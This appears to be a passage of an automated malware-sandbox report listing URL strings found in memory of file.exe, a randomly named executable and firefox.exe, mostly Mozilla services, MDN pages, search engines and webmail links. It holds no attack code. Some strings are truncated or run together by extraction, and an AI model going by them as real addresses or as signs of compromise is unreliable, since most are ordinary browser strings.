Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3127404594.00000132BAA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000023.00000003.3207024753.00000132C4166000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3311278425.00000132C4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3302865830.00000132C279C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3208780144.00000132C279C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 00000023.00000002.3299612052.00000132C24D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3227898022.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 00000023.00000002.3299612052.00000132C24D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3227898022.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3209291549.00000132C23A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsARE
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000023.00000002.3303203265.00000132C2B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3317272963.000037060F404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 00000023.00000002.3304363170.00000132C3CC4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3201091459.00000132C3CC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2604363979.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2952997493.0000000005609000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000013.00000003.2953964028.0000000005606000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119507696.00000000056A6000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3118840439.00000000056A9000.00000004.00000800.00020000.00000000.sdmp, feb3d39b6a.exe, 00000016.00000003.3119123250.00000000056A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000023.00000002.3265189555.00000132BACA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A25000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3183823867.00000132C3F10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 00000023.00000002.3283630557.00000132BCB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3254497541.00000132B7DE0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Sending
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA20F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA20F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000023.00000002.3299612052.00000132C247C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreresource://gre/modules/IndexedDB.sys.mjs
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA20F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsresource://activity-stream/lib/NewTabInit.jsmextensions.update.
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3270548472.00000132BB365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000023.00000002.3297565804.00000132C22F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000023.00000002.3297565804.00000132C22F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3258234904.00000132B9C70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3125373422.00000132BA800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3126717821.00000132BAA38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 00000023.00000002.3299612052.00000132C24D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000023.00000002.3240579668.00000132B60AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3260198511.00000132BA24A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitNumber
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3303203265.00000132C2B7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3270548472.00000132BB365000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3270548472.00000132BB37B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000023.00000002.3300363667.00000132C2503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000023.00000002.3279683763.00000132BB544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3265483120.00000132BAD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3266858592.00000132BAFB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3317907853.00003F4396A13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3289593951.00000132BD2BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comresource://activity-stream/lib/UTEventReporting.sys.mjsresource://activity-str
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3289593951.00000132BD2BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000023.00000002.3270548472.00000132BB317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.comda39a3ee5e6b4b0d3255bfef95601890afd80709browser.newtabpage.activity
Source: firefox.exe, 00000023.00000002.3253298144.00000132B7A22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000023.00000002.3245288155.00000132B6911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3245288155.00000132B69B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000023.00000003.3140371807.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3261062715.00000132BA4DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comdevtools.debugger.remote-portStarted
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
